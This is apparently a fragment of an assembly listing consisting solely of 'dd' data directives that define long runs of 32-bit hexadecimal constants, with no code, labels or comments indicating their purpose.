dd 0E83B00D1h, 0CCB1A617h, 383BA803h, 6A2483AAh, 0A88B5F8Ah
dd 2D8FF43h, 42A55DCDh, 90689E39h, 200E6FAh, 9CADA8DBh
dd 6EA475h, 0E5FBD73Ch, 87B0A709h, 0A1E87F0Eh, 320C4378h
dd 85ED9075h, 0E427001Fh, 56D03894h, 19008DB9h, 0A8967AAAh
dd 0C02FDCh, 0CFFAEF6h, 479EA176h, 634DE800h, 88DB5417h
dd 12F60053h, 0D0169679h, 242C7502h, 840FF3AEh, 1AF521BFh
dd 0DD408D1Bh, 58226B9Ah, 5B2CF826h, 0F5CE0BB8h, 9246AC00h
dd 1000CD11h, 80BBA131h, 79177AACh, 3680082h, 9FFCAB6Ch
dd 0C724919h, 0BEE49A09h, 0E70C8024h, 31D4A12h, 41688FA2h
dd 67B2D229h, 9480DC48h, 38495524h, 4280DE9Ch, 5EDDB7FDh
dd 38D55CE4h, 0B3E830Fh, 9F9C17C1h, 0EE28D094h, 7844DD00h
dd 0FEB169B4h, 89EB1FCBh, 416B5C5Ah, 209E916Fh, 7F94201Eh
dd 513D0179h, 24990317h, 800F6041h, 63AAB7h, 1FD56BF1h
dd 0B8E458D3h, 80A0F53Eh, 3BE3261Bh, 146EAD55h, 91CBE08Ah
dd 9DF60377h, 0DF068D13h, 9BC1EDF0h, 1B32860Fh, 0C6B840F9h
dd 0C777CAh, 629A034Bh, 80FE36AFh, 0BBCE640Ch, 905D54F3h
dd 54A10090h, 0D9094C0Ah, 0E80EE9B8h, 401045F5h, 0D3C9FFC1h
dd 0B59B03DCh, 1798886Ah, 0F33326C0h, 0D172AD00h, 4969187Ah
dd 0E3E100B6h, 9F77FDA6h, 6E731AA8h, 23966600h, 0AFEED5CAh
dd 0DCE609ADh, 0EC809DEFh, 93BEFC77h, 0DB203F00h, 4CD83E2h
dd 741113D9h, 7A20042Fh, 264A802Eh, 0C628BF8Fh, 5100C40Dh
dd 9AEC3697h, 6485B50h, 650740DFh, 0C109212Eh, 86B4CC62h
dd 1EB09AE4h, 0C879ACh, 8440FA32h, 50010331h, 0F012495h
dd 2860F589h, 0D9F307FDh, 8E2CE862h, 142A97A0h, 6600BD98h
dd 1F6F3341h, 79DCABEFh, 3946283Bh, 86900A5h, 0E89A9559h
dd 8E1D5597h, 11D2E740h, 1B93F000h, 47F9F4h, 9865A8C0h
dd 22C81F0Eh, 74785B7Dh, 0D83F8A79h, 708587A7h, 0C330E9A1h
dd 956DF9h, 0CC968236h, 0ECDA0F8Ah, 0A000D990h, 0D017F025h
dd 4CA7A318h, 3902B070h, 0D20B4B67h, 0EBB7F240h, 9DA9F4A0h
dd 5C515D10h, 3660AD00h, 0D5851581h, 2BF4AE00h, 2D411471h
dd 0DFBD00E9h, 66C987B8h, 237883D4h, 0EF3FFA03h, 0D9DDD689h
dd 8345264h, 0F2D204C7h, 0C4D79B73h, 370EEF84h, 76E930h
dd 80528AA0h, 6DBF0451h, 0ECF34F3h, 78E4F573h, 1FDD388h
dd 4F32253Fh, 401F8BFFh, 0C4E9B4C4h, 0AD413A03h, 0D9CE79h
dd 0A49C6448h, 96F5859h, 0E8803C91h, 3FCD15E3h, 0F74B027h
dd 174289D5h, 833443C0h
dd 0E77665A3h, 3CF403Eh, 728F37F9h, 2391E08Bh, 1DFE5Ch
dd 6A250644h, 0DC9A964Fh, 0D9E54500h, 55EBD54Bh, 12E00B5h
dd 6C6EC711h, 0C1B894A1h, 2EBCA858h, 280C87A3h, 90D11F3h
dd 88E93E81h, 7D90CE00h, 1E05F6EBh, 34F96339h, 0E5DCC400h
dd 0A32933h, 9F0E05D4h, 0A2EFC1B1h, 4A183730h, 0CCD0FBh
dd 665B77C2h, 0D8DC24A3h, 0D4700BF8h, 30FB8C00h, 41EC87EDh
dd 4BDB00C0h, 851A902Dh, 59005054h, 5EA44DA2h, 9044E998h
dd 0D4C90081h, 8BB6664h, 8C004B34h, 3732117Ah, 796E55F6h
dd 0B7E00D8h, 0DF6F4451h, 12002CE9h, 46C4BB16h, 0B0CCF7h
dd 7CB9B30Ah, 0B2E982A9h, 812B183Dh, 0C8309BEDh, 0E5F4E0DCh
dd 3F220710h, 30116AEEh, 0EDB463B3h, 0B73BF900h, 47B5F7F3h
dd 1C5009Dh, 6FD78C23h, 54480DD9h, 0F4C90024h, 70E6CA72h
dd 0C480071h, 9D2ABCD2h, 6900FB6Ch, 0C0FEFF24h, 0A25EABh
dd 0D8231079h, 1572493Bh, 0F52A8300h, 5988C4FEh, 178B033Dh
dd 7EC60A10h, 201836D1h, 0FA2F7025h, 0FADE68h, 3ACA732h
dd 9C009516h, 0B1C9EF63h, 86D5BAh, 9F01CE5Dh, 3C9611A0h
dd 8AC6D00h, 9025891Dh, 0D5760050h, 2038E3BFh, 0E10098DDh
dd 67EF6634h, 957811h, 0EE96AFD8h, 55A1ECA7h, 51002872h
dd 0FD534B75h, 0B34DD11h, 0C6D52F89h, 5C00BCD4h, 54E2F3E4h
dd 0A386017Eh, 1B190767h, 509FC48h, 8033F93Ch, 473EEE50h
dd 1DEF8565h, 691E37h, 0F1D4113Dh, 0FFE8A44Bh, 45964D00h
dd 0ED0BC979h, 189A756Ah, 0D8831DD1h, 4E03FAC6h, 0B0E4693Fh
dd 0AA8184E9h, 0A060E7F8h, 0D6C40065h, 34E6CE6h, 0ECA3C65Bh
dd 0BD468DF8h, 7E76825Ch, 2F493800h, 8453A448h, 3F2301CAh
dd 91BA81F2h, 451931A5h, 410A001Ch, 780B6707h, 0A09D230Ch
dd 1550FFh, 0FCA81F3Dh, 20D9F466h, 0D2B6A00h, 97CC890Eh
dd 1B7D62h, 40C6D1EBh, 0A2356553h, 31517F03h, 0C8B1CC1Ch
dd 9D0AD89h, 0FE974E2Ah, 4DA6CD00h, 21789D6Ah, 1D00BD90h
dd 0E77E3A88h, 12E9F2Fh, 47225D98h, 208915E2h, 0A8C0DCDEh
dd 3AB3FBA3h, 0ECEA71AEh, 0D7C200B7h, 0E6A7AA8Ch, 0ABF0F48Ah
dd 0A0C9DE28h, 9980040Fh, 0D809DDBh, 2C8DD945h, 0B3ED44E9h
dd 72881A0Eh, 2335409Ch, 785C4C48h, 74080ECEh, 12E0C682h
dd 8CF676BDh, 2FD6CA0Ch, 594F8FCh, 794CC061h, 9DBC413Ah
dd 80A00F0Dh, 4BDFD7A9h, 1499BB94h, 0D4D9D389h, 0E9BC4139h
dd 3157921Fh, 0CF5B0739h, 5DEAA4F8h, 0C8C88F54h, 6A60D806h
dd 294F0Fh, 0C218384Ch, 7FD5C096h, 0AA648601h, 0EFAF9E53h
dd 0B53902F3h, 0C8471635h, 0B9D8080h, 6D0F49B9h, 0E1C317F5h
dd 3EDB9132h, 0FB0820h, 66F826F1h, 9F7D3B89h, 0AF00AA70h
dd 6F34E4A7h, 146425Fh, 0A6454B6h, 0E1437B69h, 3078DCB2h
dd 117D6C31h, 20C85502h, 0BABD00A8h, 0C89CB39Fh, 3C01826Eh
dd 0C49992F0h, 3C21D3EEh, 824EBE9h, 0B6E93A75h, 72C450h
dd 0F8DA8B47h, 791F24CCh, 58360200h, 0BF2BE9D1h, 88643B7Ch
dd 9100E448h, 0C2D47257h, 3B0046E2h, 0A211B562h, 70F07B0h
dd 20D6DCF7h, 0A70069A4h, 0ED1CEB34h, 0F1EA5A0Ch, 99B006h
dd 13FB8B74h, 0D7F98FC5h, 8DE92919h, 4ADCCD10h, 64100E21h
dd 0D9402474h, 2662A9Ch, 3D808600h, 0B3BC36FDh, 921F0F9Fh
dd 0A78087A3h, 0F5CF7C38h, 23D18C00h, 79EDFFC0h, 9D7006h
dd 0F93181D0h, 77033099h, 0ABEC050Fh, 0D68080B5h, 726EA568h
dd 0CDFB1CEFh, 4F76C03Bh, 0C62FC48Eh, 64C99E00h, 356378Bh
dd 428500CFh, 6ACC3879h, 450005D2h, 1EADDB96h, 2538BFAh
dd 5C9ABB41h, 0B480F77Eh, 541B8D6Ch, 8118E809h, 0A80C200Fh
dd 0F06273CFh, 2A4100E4h, 6F186370h, 0AA01159Ch, 0E5D046E6h
dd 8C40835Ah, 38DDDE4Ch, 0E00B318h, 59248907h, 500041B1h
dd 0E8CEE6F8h, 1EEF23E1h, 3F6561h, 6699B777h, 673B6881h
dd 0EB928BA6h, 0E28EF7h, 0BE2AA3FEh, 735D047Fh, 0C08384F8h
dd 36A5B29Ch, 28107A00h, 0FC543370h, 8B9500FAh, 9C3B4163h
dd 0FD6096CCh, 78C1CD8h, 0AED10768h, 0C99D4FC3h, 406748B8h
dd 53F14A61h, 0C422B219h, 0A20A7A60h, 3C1D9C4Ch, 88247968h
dd 57E2FE00h, 0E85E9Ah, 7E197DDh, 1D34E793h, 7ADEAF06h
dd 20818945h, 0EC508D4Fh, 40882CACh, 0F8EA483Ch, 611200DCh
dd 0C995876Ah, 0A7095798h, 0A0478DA1h, 5C99CC04h, 48ED7ACFh
dd 700C4FEh, 6AC49178h, 410610FAh, 0EF3A318Eh, 0D775397Ah
dd 5704F180h, 6922FB80h, 5F91120Ch, 0F020C09Ah, 257E94h
dd 1359ECD9h, 78D41E4Ch, 2C45E33Fh, 0EE197782h, 0D06066FEh
dd 384005C5h, 8063BF12h, 14295C8h, 230306FEh, 0EEB19991h
dd 93F000FCh, 564F1C8Bh, 0A4C44CFh, 2BD000Ch, 9AB55E53h
dd 0E5DE00A6h, 988894BEh, 50C055F7h, 0C2D9C197h, 105067F2h
dd 0CC8890C9h, 0B607A442h, 27307DBAh, 0D67F5590h, 0BE1B1323h
dd 0D1104040h, 3D5692D7h, 89066C3Fh, 80597CF6h, 5103F179h
dd 1E70F91Eh, 5D870052h, 0D81CCC04h, 483D6083h, 1DE4CC98h
dd 0D4E11CAh, 0B28647BAh, 0E72C90F9h, 560B0331h, 7430289Bh
dd 0B6C0A000h, 0FCCA47ACh, 5AA000CCh, 0FE9C79Dh, 7B00FB3Ch
dd 84D42D6Fh, 0FDBB05h, 0B35FF5A1h, 14E41F73h, 80AB2500h
dd 0C433990Eh, 54883FE3h, 75A0A928h, 0D8B45C66h, 0E58ED00h
dd 9B770CB9h, 0EBA92200h, 9FC5F225h, 0EFE200D1h, 71F16D83h
dd 7B02CFAEh, 29085DD3h, 985A63A6h, 0FA581Ch, 7E24BF2Dh
dd 319ED9E3h, 0FB8C4500h, 0D8B408E8h, 88BA0012h, 233A9D52h
dd 3F01064Ch, 8DEA1184h, 0E0C2BF97h, 105FE9h, 0E419A2F9h
dd 61A060B5h, 0F49CC729h, 92E16860h, 197260h, 8062FAEDh
dd 0BFE5510Dh, 252BFF03h, 3E9359AEh, 3F804511h, 0AB9079EFh
dd 9E00106Bh, 234BB277h, 0C7F33822h, 1099C629h, 3A980C7Bh
dd 0B6495A00h, 96844F95h, 21F0B86h, 0D4249D71h, 6AEAC0E3h
dd 6F025248h, 5481D4FEh, 1B8CC0D2h, 0E66800C8h, 0A7ED4B34h
dd 4800D15Bh, 0D898B320h, 3B825CD5h, 0C112B68Fh, 0C34C80BCh
dd 0BD009A46h, 0F269E9F8h, 0E35ED5h, 0BF634B5h, 0CC717947h
dd 4B081502h, 0C1E8E48Bh, 5CE06035h, 0D32A0361h, 0C19E7AB8h
dd 487D60AFh, 0FD09225Ah, 0ED077Fh, 0B35E6D60h, 0B8F00EBEh
dd 9A411852h, 0C33703FFh, 0DE9D50F8h, 0D4361502h, 41B021AEh
dd 0EC60CDE1h, 9C5B007Ch, 99E614C2h, 500139ADh, 40E2293Ch
dd 9030FFA7h, 21D90356h, 7CBD7169h, 3A8AC0C0h, 0F339DB00h
dd 5AF4649Dh, 4CEF7721h, 283C4CCBh, 0B031680h, 0BAEA8CC3h
dd 0B0A9D824h, 0E772AC00h, 0EC2EE3h, 205721B5h, 3371760Dh
dd 4412D216h, 0CDFF3000h, 98454331h, 903F00B6h, 0A3586A21h
dd 127EE570h, 3403448h, 48C68E37h, 0A4B2A8F7h, 7C300C7h
dd 3A8D17C4h, 0F400ED69h, 1360D640h, 1C0A87D3h, 415B823Fh
dd 69EDD48h, 88808226h, 0D45A51ABh, 61C40B60h, 0D7507880h
dd 0B500F647h, 75B16E4Ah, 9511964h, 44353267h, 3E91CA0h
dd 0A2009710h, 8F66E848h, 4DB53B7h, 0BEE23D55h, 2B0C187h
dd 0AB9F834h, 3C997D00h, 1827EDABh, 0D28400C0h, 6BA87F54h
dd 2A7C7AF2h, 0B250781Fh, 60BBDBCEh, 8943FFD2h, 0DA9400E4h
dd 429AE866h, 84002062h, 631CB650h, 7ABCF07h, 0F47F7B34h
dd 9BC5B0F6h, 0A300F2D6h, 4CA050C0h, 1A696Dh, 6652C4F3h
dd 457198BDh, 954D000h
dd 36A4CBBEh, 3590085h, 2381A55Ch, 4504BDD6h, 0B7D180DBh
dd 502D38C0h, 3DD82602h, 2E2850h, 1857993Eh, 17655256h
dd 8BE8FD26h, 92A83B01h, 0A6E062E0h, 0B94E0132h, 5911C7F2h
dd 25ADE8DFh, 53443E00h, 0C4EDE0CAh, 66DD009Ah, 0C837A8D2h
dd 0A9171E2Bh, 0BC0F5AC9h, 14B1843Fh, 34C4A0h, 940B4A9Fh
dd 0F4C0813Bh, 0E9D6360Ch, 0E3F1828h, 5A7ACCC9h, 2825B7CBh
dd 0F9A400EFh, 0FB5D904Bh, 133A4704h, 0A0A04621h, 69640039h
dd 551DD950h, 9B09596Dh, 7D2C8EAh, 0A9497Ch, 262FFBA8h
dd 35774C73h, 246450h, 0A55879F0h, 3BE10268h, 4C75FC01h
dd 0FB4EDF77h, 93C02831h, 0A1C50D89h, 6110A8D8h, 17FE0E3h
dd 0F321CFh, 9638EDDAh, 0CDCF0016h, 0B6186050h, 621D77A5h
dd 6340536Bh, 9910D7E5h, 0EF20B5Bh, 630033C8h, 7889CBDBh
dd 5F15D20Eh, 871B00E3h, 0F5796Ah, 37B7DDA7h, 0B6DE7641h
dd 99173E00h, 66E36714h, 0B877BEAh, 71A77AFAh, 7FFB3100h
dd 24B29145h, 0E8A48912h, 50F0745Dh, 0E28A5FCFh, 0B9FC1E53h
dd 0F20F803Fh, 7AEAB35Dh, 2A7DFBE2h, 1EB24F00h, 3C3D07Bh
dd 78013D9Eh, 0B5C02C8Ch, 0A3E22218h, 0A79FB200h, 734335FDh
dd 0F3FC1872h, 0C0D920AEh, 7858E830h, 1B524AFDh, 308C3622h
dd 5349EDF0h, 89FAE412h, 189E380Ch, 0F6FC186Bh, 788840ECh
dd 0A31E7678h, 1D3914FFh, 0F7E0526Ah, 0C0BC15F4h, 409A3EE1h
dd 0EA39BB90h, 1006CB60h, 7821AB6Ch, 6B89C3C5h, 5100A02Ch
dd 0CFDF4CBh, 0C0278C94h, 0C31D12D0h, 0E914A786h, 20D755h
dd 0CDB37CFFh, 0DF8068B8h, 0C8E50548h, 0C375C398h, 5066100Fh
dd 3C0480A5h, 0B09DB2A6h, 0A460CCF8h, 0A900E171h, 76987A57h
dd 0D70FB5h, 1833D629h, 0E702B03Eh, 14D24000h, 6E4F8032h
dd 0BDEC00A1h, 0B2395ED3h, 503F5672h, 7FD41D46h, 0CB4CE303h
dd 0B502D874h, 353900CDh, 8786068Dh, 0F00F6DDh, 4A8EE73h
dd 0C1D11D24h, 0CBFCC390h, 0C22D6h, 293ADB8Dh, 1999772Eh
dd 8A72895h, 5828B1h, 6F3ADAE7h, 1C84587h, 0B60A5E9Bh
dd 0C9623C25h, 0C5B84092h, 4E283A37h, 0F712CC9Fh, 0D6E8542Ch
dd 0CACB2E00h, 0D7D6EE32h, 7A1424E0h, 0BC447712h, 0FC43B5h
dd 1C6D120h, 723DB82Eh, 0BE6A1837h, 0FC2578A2h, 33865320h
dd 0D638C8ADh, 0F80041E6h, 0A7EA0CFh, 929104EBh, 22160A10h
dd 3A209FD6h, 883C90FCh, 123665F0h, 43752E22h, 0BE802C70h
dd 6A18207Ch, 0C199B06h, 788DFB10h, 0FD71BEB1h, 40CE617Eh
dd 70FFC703h, 3C14A0B8h, 48027FAh, 8865D6CFh, 4860CEA8h
dd 55DE2571h, 0A214F91Ch, 1EC0519Eh, 0ADF76354h, 28720008h
dd 88911BDCh, 0BF00F52Eh, 7E8F0C57h, 0FFD8EE70h, 38CC0DDCh
dd 25C8C9DFh, 0A7F38807h, 0F49BC0A2h, 6400BD82h, 7E162351h
dd 98D30E35h, 20D80018h, 524EC3C9h, 0C60027E6h, 0FA16662Ah
dd 0B096732Dh, 4475011Ah, 265AB847h, 51E8FFE2h, 9B00096Bh
dd 2F1661F1h, 1F3BEA5Bh, 0D5406Eh, 5A7E056Dh, 0D2008598h
dd 49901B4h, 63E3FDh, 65F39EB2h, 0A2E1BC4h, 5E454D00h
dd 0FA44A25h, 170788Ch, 8D39C867h, 40857211h, 214DA89Ah
dd 0DD673E98h, 8BCC528h, 720713Dh, 0C339C0A2h, 7BDCB332h
dd 0A6E58080h, 84661100h, 0B872D605h, 0F42B0721h, 9376EB23h
dd 4003A280h, 8E90794Ah, 0C6300322h, 0DDA3C21Ch, 619A1B91h
dd 0B81881DFh, 1454DA8Bh, 0C012AD70h, 0B0AAA438h, 0C1008322h
dd 0CB1153BDh, 0C2B8B2h, 2165E6CEh, 0FE6A91D5h, 46A22500h
dd 0F70F0ABDh, 103C6F19h, 230106C8h, 99592144h, 5FC29181h
dd 0F4B0EF67h, 3F0609D7h, 957ED683h, 98871521h, 0A2069821h
dd 9113395Bh, 3F1ABF00h, 48E9539Bh, 0D4300F51h, 0FC76E8ABh
dd 0A95D01E2h, 0B5153750h, 62FCD0h, 962F9FD8h, 0B9A4B34Ah
dd 3687DC00h, 5E20DF3Dh, 5B06009Bh, 0B76D99FFh, 53A924Ah
dd 217530B6h, 5B1E7Ch, 6FC4E2F3h, 25F2ED40h, 48995500h
dd 0C5218F56h, 0FF660058h, 0BD61A594h, 7800ABB8h, 5E74B33Dh
dd 0C4B2B13Bh, 1B1F2C18h, 0E22E059h, 1D3B843h, 0D80A2D0Dh
dd 9D69FB67h, 440C410h, 5C934941h, 4338DFA8h, 0DC38DB1Bh
dd 723F4100h, 0DF47A9F5h, 5A3719AAh, 80D908D7h, 0F5D11A21h
dd 0DA0696h, 0D62B16Bh, 0BE7AF623h, 601028A3h, 4400A3ECh
dd 552E4D5Bh, 881F8DBAh, 41C1E6AFh, 0DD282126h, 1C54FBC0h
dd 7DBF327Eh, 0EEE87780h, 4039AEA5h, 31F68700h, 0C779549Eh
dd 2C84008Fh, 7E104557h, 5D00A398h, 821B01D7h, 0F0835Ch
dd 13EDB2A4h, 7C2677F6h, 0F208C900h, 0AF3ED00Fh, 28C300E1h
dd 8BEC517Fh, 7C00A156h, 9676B0C7h, 0C5EB47h, 49426783h
dd 5907D1DAh, 0D368B00h, 0DCE840C0h, 0C7EA7Ch, 0ABFD2F5Bh
dd 0B5D99F01h, 0AC388A00h, 0A7546903h, 0AFDF001Bh, 0C04084DAh
dd 0BF0FE8B6h, 21BE9AA8h, 0F3F66918h, 352830h, 0B20B1DB1h
dd 0F7C27EE7h, 5B8A28C0h, 1EDB90h, 0F93805EAh, 3547650h
dd 0E9271F00h, 0D63E0BCDh, 0B51303B0h, 0D59534A8h, 0DE83800h
dd 3A78C136h, 68210046h, 5E38BB01h, 8265750h, 42063D7Ch
dd 30D9CAh, 0F401273Fh, 3D7DA5D8h, 134B840Eh, 0DD2FA12Bh
dd 55F0DA92h, 0D49530CCh, 0B04B6161h, 2B307200h, 0C96D94B3h
dd 46DE00A5h, 3E73E1Ch, 8905D8C1h, 0FCD9BA25h, 0A399A4C0h
dd 0F52D00C0h, 40C224CCh, 157613E7h, 2BD37914h, 81F8070Ch
dd 49C13075h, 3C000E43h, 0B3F03E26h, 28F4F630h, 0E11FECEh
dd 8C0C10A2h, 209EC160h, 600A12Dh, 2616E038h, 0F61BA595h
dd 97A8A8DFh, 37C1C010h, 3C969E4Dh, 0E3073800h, 3276D769h
dd 3BB37A97h, 78601349h, 0E8C1535Ch, 0D26B5200h, 0AE702643h
dd 0C7F70777h, 0D0551099h, 6793DA42h, 371B2400h, 3E94B080h
dd 72FC7Dh, 0B333732Ah, 0FF995663h, 54264B71h, 9F1D2319h
dd 4817550Dh, 62F0040Eh, 5F7CDDD4h, 9F02B100h, 0DE61B732h
dd 108B0307h, 0EBAC5D6Dh, 0C54F6298h, 0B2041906h, 42296BD2h
dd 0ADF611C2h, 6E42847Eh, 4F104621h, 3EBE3788h, 6A200071h
dd 0D5415291h, 0E4AF008Ah, 1733592Eh, 0FC0EF6D8h, 1FDF54ABh
dd 0C4CADB47h, 2548BE00h, 877E077Ah, 6E4A74D8h, 0E45507h
dd 0A2AF1F85h, 8E1EC100h, 793E2BB3h, 968D58B7h, 0F4B2F000h
dd 0D49B0FE7h, 8813AA28h, 48C27A00h, 0EAB57411h, 672D00BCh
dd 0FF6465A4h, 4D90A945h, 2431FC01h, 0EDD823E0h, 7C91149Dh
dd 66CF5D00h, 10845C0Eh, 0DF055102h, 61A13EEEh, 0F0FF1B78h
dd 44A639h, 8682DD11h, 486214F8h, 0FE3E2CF4h, 40AE00ABh
dd 9C4CE2FFh, 430300F9h, 0BDBCF082h, 1200C966h, 0C3881DA5h
dd 114D34h, 3EC4A2BAh, 6F9F44D3h, 0AA24E000h, 17367CBBh
dd 50F70375h, 3D566B90h, 0DAE593A0h, 0F0FF197Dh, 0AEF0650Ch
dd 6FECC800h, 991AF782h, 0F64121Ch, 8D0C0315h, 0B4B9FDB0h
dd 26F1F0E8h, 982D8601h, 0E627C442h, 3A841920h, 5C80B4D5h
dd 5B992087h, 58004E15h, 0A42C86BFh, 0E23FD8FFh, 0F9760790h
dd 5017F502h, 136D34ECh, 0D7520F00h, 0DACE5120h, 0DF5A12DCh
dd 67F00481h, 0FB3C0FCh, 7F01687Bh, 9163B413h, 0A3F47566h
dd 0BBBC3C8Fh, 0F3C300F8h, 0AF1021A4h, 0F700C893h, 4446E4F5h
dd 0C03AE3h, 8C15F9C4h, 1B306145h, 28026501h, 0AAC8864h
dd 0A79EB8D3h, 90B004BEh, 0C0CEB5A5h, 693177E7h, 99CFA800h
dd 0D2F52753h, 8C0350E5h
dd 25C38B0h, 0DFDA5880h, 0BF18C7E1h, 3272C300h, 68F4A128h
dd 8DD41D07h, 0CF6C40ECh, 0DABED640h, 260035F8h, 3FC41096h
dd 0E4B1F5h, 0D2A880FDh, 3C8A3236h, 3EA1BC03h, 882F5514h
dd 0ECE802h, 88BDAABBh, 6F37C070h, 0C54AD900h, 2765C221h
dd 309305FAh, 8007B2ACh, 0B6FEBF4Bh, 0E80053EEh, 6D0F82C1h
dd 0E5F9Ch, 2611D91Bh, 5125DE6h, 0FD0392FCh, 0A6387D28h
dd 3BECF1D0h, 0F93D8C3h, 5A8D00D1h, 0E6AD2A98h, 9C058B3Ch
dd 2C29A643h, 0EAF32E80h, 0B5BC0048h, 0AEC5A68h, 200806Ah
dd 250EF2ACh, 0C1F73Ch, 0A397F041h, 965A933Fh, 68FAD400h
dd 518B29ECh, 0BC7A22h, 31B619F9h, 939FAB2Eh, 0CCFA6400h
dd 8B6506A6h, 528112DAh, 89E600F5h, 0EC62CF1Fh, 804BCA3Fh
dd 7FFE82Eh, 58E5BF4Ah, 0A7007739h, 3A421B78h, 1F0023EAh
dd 0BD9EC01Ah, 7D75629h, 0ADA8BB25h, 3346A1F3h, 82FC2012h
dd 6D32D600h, 8F0A2EB2h, 0A173010Eh, 0F2107624h, 0BCB4C844h
dd 8195FE00h, 8F062C1h, 0F6CD099Eh, 3420EAEFh, 0A34234A7h
dd 1F83C104h, 40C086DAh, 5E81E2h, 49E6CF92h, 9D2CC6D4h
dd 0D0484BF0h, 91B00C8h, 23DFF267h, 437703FEh, 15E10E50h
dd 32426900h, 0FD84068h, 0E4E600D7h, 67654508h, 2A00D13Eh
dd 761056F1h, 17BCF7AFh, 333B13h, 0A7140DD0h, 0C13CB8F0h
dd 2B7E810Bh, 0D69767F2h, 261F34D4h, 79AE896h, 0CFDC14E9h
dd 60704F12h, 0EB27220h, 6DFCAF55h, 8015A83Ch, 283B8F5Dh
dd 31C6EA3h, 0F874FB04h, 9678A4FCh, 0AAE58401h, 127BC62Ah
dd 10B5A050h, 0C78524EAh, 8DFA0270h, 2B00A02Eh, 4CB32627h
dd 0B7CB4B2h, 176DBA16h, 96809201h, 62B7C4CFh, 8A4CD490h
dd 428F023Ch, 68A53226h, 78B03350h, 5BB804FCh, 4029F2D5h
dd 61CFFE69h, 917A38A5h, 7D784207h, 55E0C0B7h, 0E50EA1BEh
dd 9CFBB8F3h, 0FD82509Eh, 60C0B252h, 3FBEE6h, 925F0DDEh
dd 0C6C9E544h, 0D8B62F00h, 0D3051C91h, 0EED10084h, 28DD3EE8h
dd 0E0057C7h, 1D892545h, 4B2709h, 0E55E8B2Ah, 0F17C4C0Fh
dd 354DD00Eh, 0CAF08056h, 76BA30DCh, 0A4A60020h, 180CC34Bh
dd 2C5874D4h, 0AD1617FAh, 0D9555A00h, 0A57A1Ch, 8A5F3704h
dd 0BD3F3128h, 80AEC83Fh, 8C527E6Bh, 3C0CB7F5h, 68802F88h
dd 0C990CB64h, 33004A42h, 9C633CF7h, 5E5BDDh, 0EC024BA7h
dd 959D1DCEh, 27AC2607h, 8D03C2BDh, 9A5AD8D8h, 0DB4300B9h
dd 45E23435h, 0D4091302h, 7995F0h, 8D5A1658h, 0FFF673h
dd 0C56564A1h, 0C05ED1F5h, 23AB3300h, 0DBCBADE9h, 43390010h
dd 3DC75179h, 0D20037EFh, 0EE4ACE19h, 0C456F5h, 0A0C49B5h
dd 4CB6F2FAh, 62F81D00h, 25AC1B32h, 0F1740003h, 0F42BC9F3h
dd 73006311h, 0D62833E1h, 0B1EB7Bh, 4353F807h, 84B83F64h
dd 312F3800h, 1860DEB4h, 8666011Eh, 7164FD6Eh, 0DB5AD8D7h
dd 729ACE00h, 0FAC888D5h, 94701F08h, 4F6EDCDDh, 0C03EF602h
dd 0A1F1CE45h, 0C60030AFh, 0F76C8F03h, 0E93C0Ch, 0FDC08436h
dd 22D93E20h, 73E78200h, 297F0F1Fh, 1D0A009Fh, 84911E0h
dd 950E3B7Dh, 8094928Eh, 9881BE43h, 11910017h, 40A97F8Ch
dd 6892E020h, 2E306C00h, 728BFABFh, 16D379DBh, 58D32D2h
dd 0D00195F8h, 0D780297Ch, 0BFFF3D00h, 0D4D145A3h, 2A69017Eh
dd 0B256E83Ch, 2CD7DCE0h, 0BCCCB924h, 0EDA92E00h, 2E270B4Bh
dd 260C6549h, 63F000B1h, 0BD7C1F9Ah, 0CD56081Eh, 0F4DE060Ah
dd 0D77A4B07h, 6AC0BCF0h, 92FEEA2h, 608AB8EBh, 0CF005389h
dd 10BF3ECFh, 0AE00C878h, 4CDB1FB5h, 92B3C683h, 0F4F20034h
dd 817D1EDEh, 0CF989F1Ch, 15237C03h, 0B79202ADh, 0B74FD440h
dd 0CCA40010h, 95748EE9h, 0E000D9E2h, 5812F80h, 304D83A3h
dd 4678A2E6h, 0E900C382h, 0A03EC9F0h, 303B65h, 28521FD6h
dd 54BCE56Ah, 0BF47700h, 4B9CEC13h, 0A1E8076Dh, 4030A531h
dd 2F63C4E1h, 0F1522216h, 0FCADA403h, 0B87688E9h, 339309EEh
dd 9041FDDFh, 0A4860A8h, 0F7C29016h, 0B1AD3800h, 1F1ACAEBh
dd 474CABA0h, 0D0669C7Fh, 18076420h, 0D2C4ED54h, 8065E00h
dd 0A9EEF4BBh, 98E413FCh, 0E2884430h, 8501C075h, 6DE6E680h
dd 2C1C141Eh, 52E9C5C0h, 73FD0Ch, 3E3313D2h, 0C81187A1h
dd 2AFADA00h, 3C59F59h, 321C0072h, 299CD50Fh, 7AFAA639h
dd 0FBB2F200h, 0C86BE944h, 1A21071Fh, 8EDB12DCh, 0C56F4CA0h
dd 3500D829h, 9224B707h, 88AD36h, 0C7F6C1CDh, 15108558h
dd 0BF343B01h, 0E9C411Ah, 0D012F1DFh, 6501180h, 48B3B8C4h
dd 5FEBAE1Dh, 0A0DF83CEh, 0F90D1B29h, 1C6900AAh, 86459F4Ah
dd 0B801B401h, 6D628A2Ah, 0ED603437h, 9D660304h, 0F59BCDA5h
dd 0EE45ACB0h, 8F071074h, 70B71ACCh, 51C34280h, 0F498C8h
dd 0A9113676h, 9B43263Fh, 8F351403h, 0B012F4CBh, 26602244h
dd 126C346Ch, 7BA0D04Ah, 9305D330h, 1428EFF2h, 32805085h
dd 7244EBCEh, 0C198032Dh, 4D45C725h, 0B9D0B20Fh, 605B4E3Ch
dd 0F4D794B8h, 0C515006Eh, 0DD89CD7Dh, 502442E8h, 0D0801462h
dd 525FBD60h, 0F29C0320h, 0B065EF3Bh, 2A1217C8h, 9ADA3A01h
dd 0BD55C337h, 1A14C02Ch, 0DC03207Fh, 0DD8A1D0Eh, 14970816h
dd 8255C840h, 4BDEF204h, 29C1E9Dh, 6EC58A43h, 70122486h
dd 0F4BCAA0Ch, 46515Bh, 0D76C9AF1h, 32439065h, 521A2314h
dd 0C2C82038h, 592263C8h, 3C34318h, 0C5232A5Fh, 53A38A5Eh
dd 0E2AAF0C0h, 0C4A81855h, 9860F612h, 0F48C8480h, 7F6D0063h
dd 0E30419E6h, 4F00F713h, 5F90D3B4h, 0F8B633h, 455DA3F6h
dd 4714A60Ah, 80D02B3Fh, 0EE49146h, 5031CE65h, 9998CBh
dd 76B115B0h, 0A9E07F53h, 0B650A000h, 2298D788h, 91720027h
dd 0C4FD40C6h, 0BB065DE7h, 1EF4628Ch, 3BC7EEA0h, 0C300906Dh
dd 0CC7DB34Dh, 0FD00AA2Dh, 992A6857h, 0C030C698h, 0DFFC8BF0h
